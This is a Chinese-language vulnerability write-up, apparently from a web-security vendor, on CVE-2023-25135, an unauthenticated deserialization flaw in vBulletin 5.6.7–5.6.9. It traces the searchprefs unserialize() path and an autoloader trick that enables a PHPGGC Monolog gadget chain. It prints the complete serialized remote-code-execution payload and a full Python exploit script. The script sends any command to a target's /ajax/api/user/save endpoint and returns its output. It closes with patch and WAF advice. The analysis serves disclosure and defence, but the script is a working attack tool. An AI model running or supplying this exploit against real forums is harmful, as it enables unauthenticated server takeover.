漏洞概述
vBulletin是一个强大、灵活并可完全根据自己的需要定制的商业论坛程序(非开源)。它使用PHP脚本语言编写,基于以高效和高速著称的数据库引擎MySQL。在CVE-2023-25135漏洞中,vBulletin 允许未经过验证的远程攻击者通过触发反序列化的HTTP请求执行任意代码。发生这种情况是因为其使用 unserialize()方法来判断相关数据是否已序列化。
受影响版本
vbulletin 5.6.7- vbulletin 5.6.9
漏洞分析
在vBulletin中用户注册时涉及vB_DataManager_User类的实例化,在该类中定义了validfield属性,每次实例化对象时候都会检查对应的属性是否正确。其中在该类中有一处searchprefs字段,每次实例化对象时候采用了一个verify_serialized函数检查数据,这便引起了我们的注意。
图1
继续跟踪到对应的verify_serialized函数——
图2
从这里可以看出,vBulletin通过调用了unserialize函数来检查传入searchprefs的数据是否序列化。searchprefs这个字段可以由用户自由控制,这就导致了漏洞利用的可能性。
在找到反序列化漏洞的可能利用点时候,通常会考虑两种方法,一种是通过PHPGGC反序列化武器库(一款能够自动生成主流框架的序列化测试payload的工具)来产生有效的攻击载荷达到命令执行的目的,另一种是通过在相关类的代码中找到相应的魔术方法构造一个新的利用链。
然而在vbulletin中,几乎每个类都使用了vB_Trait_NoSerialize特性,一些常见的魔术方法如__wakeup(),__ unserialize()等被调用时,只会抛出异常。这就使得通过类中相关魔术方法构造新的利用链的方法难以行得通。
图3
基于此,那只能尝试PHPGGC中能否生成有效的利用载荷。查阅资料发现,在vBulletin中包含有PHPGGC支持的Monolog库,其物理路径在packages/ googlelogin /vendor/monolog。但我们发现,vBulletin中默认是禁用googlelogin包的,其中的googlelogin/vendor/autoload.php文件不能被加载(用于加载Monolog各个类),monolog库就不能被访问到,PHPGGC产生的monolog/rce*利用链便注定不成功。
到这里,不难发现只要将googlelogin/vendor/autoload.php这个文件引入,PHPGGC产生的载荷就可以成功利用。于是,我们开始寻找vBulletin中用于加载各类的autoload方法,看看有没有可以将该文件引入的可能。在vBulletin中autoload方法可以归结为以下代码:
图4
由此,可以了解到,给定一个类名,在vBulletin中即可引入包含进以该类名分解构成的文件。比如,vBulletin第一次实例化vB_DataManager_User时,PHP还不知道这个类。因此,它调用每个类的autoload,包括vB:: autoload(),它将会引入加载包含该类的文件vB /datamanager/user.php。这样一来已经定义了该类,PHP就可以实例化它。
利用此原理, 在vBulletin实例化vB_DataManager_User类,调用unserialize()方法检查searchprefs字段是否序列化时候,如果在searchprefs字段内容里面填写的是一个序列化的精心构造的类名,此时unserialize()方法会反序列化该类名的对象,整个过程中会调用到vB:: autoload(),从而引入加载以该类名分解构成的文件。即使这个类名是不真实存在的,它也只会返回一个__PHP_Incomplete_Class的实例,反序列化的过程不会崩溃。
图5
反序列化过程不会崩溃,意味着在这个过程中可以引入任意的文件提供使用。这样一来,便可以将之前利用PHPGGC monolog库失败所缺少的packages/ googlelogin /vendor/ autoload .php文件成功引入。
据此,可以构造一个假的类名googlelogin_vendor_autoload 用于引入/googlelogin/vendor/autoload.php文件,将其序列化,如下:
O:27:"googlelogin_vendor_autoload":0:{}
将这个payload写入searchprefs中,将会执行到verify_serialized()方法中调用unseriliaze()检查其是否已经序列化。unserialize()方法中会尝试加载googlelogin_vendor_autoload这个类,但是其不存在。在这个过程中,vB:: autolload()被调用,并且将/googlelogin/vendor/autoload.php文件成功引入包含,这个文件真实存在,但是googlelogin_vendor_autoload这个类不存在,unserilize()只会返回一个__PHP_Incomplete_Class的实例,程序依然在执行。
如此一来,/packages/ googlelogin /vendor/ autolload .php文件被成功引入,monolog类便能够成功使用,PHPGGC中monolog/rce*利用链便可以生效。因此,可以构造一个数组,第一部分是之前构造的假的类名,用于能够使用monolog类,第二部分是PHPGGC生成的monolog/rce*的payload,如下:
a:2:{i:0;O:27:"googlelogin_vendor_autoload":0:{}i:1;O:32:"Monolog\\Handler\\SyslogUdpHandler":1:{s:9:"\x00*\x00socket";O:29:"Monolog\\Handler\\BufferHandler":7:{s:10:"\x00*\x00handler";r:4;s:13:"\x00*\x00bufferSize";i:-1;s:9:"\x00*\x00buffer";a:1:{i:0;a:2:{i:0;s:2:"id";s:5:"level";N;}}s:8:"\x00*\x00level";N;s:14:"\x00*\x00initialized";b:1;s:14:"\x00*\x00bufferLimit";i:-1;s:13:"\x00*\x00processors";a:2:{i:0;s:7:"current";i:1;s:6:"system";}}}}
漏洞复现
编写脚本自动化检测:
1. import sys 2. import uuid 3. import requests 4. import re 5. import urllib3 6. urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 7. 8. def main(url: str, command: str): #参数输入 目标URL+执行命令的command,eg. python payload.py https://xxxx.com id 9. marker=str(uuid.uuid4())[:10] 10. command = f"echo {marker}::; {command}; echo ::{marker}" #将要执行的命令,设置了一个marker标记便于检测 11. command = bytes(command,'utf-8') 12. payload = ( #根据分析构造序列化payload,引入了monolog类,利用PHPGGC monolog/rce 利用链 13. b'a:2:{i:0;O:27:"googlelogin_vendor_autoload":0:{}i:1;O:32:"Monolog\\Handle' 14. b'r\\SyslogUdpHandler":1:{s:9:"\x00*\x00socket";O:29:"Monolog\\Handler\\Buf' 15. b'ferHandler":7:{s:10:"\x00*\x00handler";r:4;s:13:"\x00*\x00bufferSize";i:-1;s' 16. b':9:"\x00*\x00buffer";a:1:{i:0;a:2:{i:0;s:[LEN]:"[COMMAND]";s:5:"level";N;}}s:8:"\x00' 17. b'*\x00level";N;s:14:"\x00*\x00initialized";b:1;s:14:"\x00*\x00bufferLimit";i' 18. b':-1;s:13:"\x00*\x00processors";a:2:{i:0;s:7:"current";i:1;s:6:"system";}}}}' 19. ) 20. payload = payload.replace(b"[LEN]", bytes(str(len(command)),'utf-8')) 21. payload = payload.replace(b"[COMMAND]", command) #将要执行的命令替换进payload 22. url=url+"/ajax/api/user/save" 23. response = requests.session().post( 24. url, #漏洞触发URL路径 25. data={ 26. "adminoptions": "", 27. "options": "", 28. "password": "password", 29. "securitytoken": "guest", 30. "user[email]": "pown@pown.net", 31. "user[password]": "password", 32. "user[searchprefs]": payload, #user[searchprefs]字段可控,反序列化漏洞命令执行入口 33. "user[username]": "toto", 34. "userfield": "", 35. "userid": "0", 36. },verify=False 37. ) 38. 39. if response.status_code != 200: #检查响应码 40. print(f"Exploit failed: unexpected response code ({response.status_code})") 41. exit() 42. 43. result=re.search(fr"{marker}::[\r\n]*(.*)[\r\n]*::{marker}",response.text) #响应码200,接着依照设置的maker标志检测响应内容 44. if not result: 45. print("Exploit potentially failed: command output not found") 46. exit() 47. print("Exploit succeeded!") 48. print("-" * 80) 49. print(result.group(1)) #命令执行的结果 50. print("-" * 80) 51. 52. main(url=sys.argv[1],command=sys.argv[2])
脚本检测结果:
图6
在burpsuite中,将构造好执行命令 ’id’ 的payload重新发送至/ajax/api/user/save,成功回显用户的ID,以及所属群组的ID:
图7
修复方案
官方已经发布补丁,升级到vBulletin最新版本。可以将searchprefs字段的unserilize()检测是否已序列化方法删除,替换为其他的检测是否已经序列化的方法。
产品支持
网宿云WAF已第一时间支持对该漏洞利用攻击的防护,并持续挖掘分析其他变种攻击方式和各类组件漏洞,第一时间上线防护规则,缩短防护“空窗期”。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)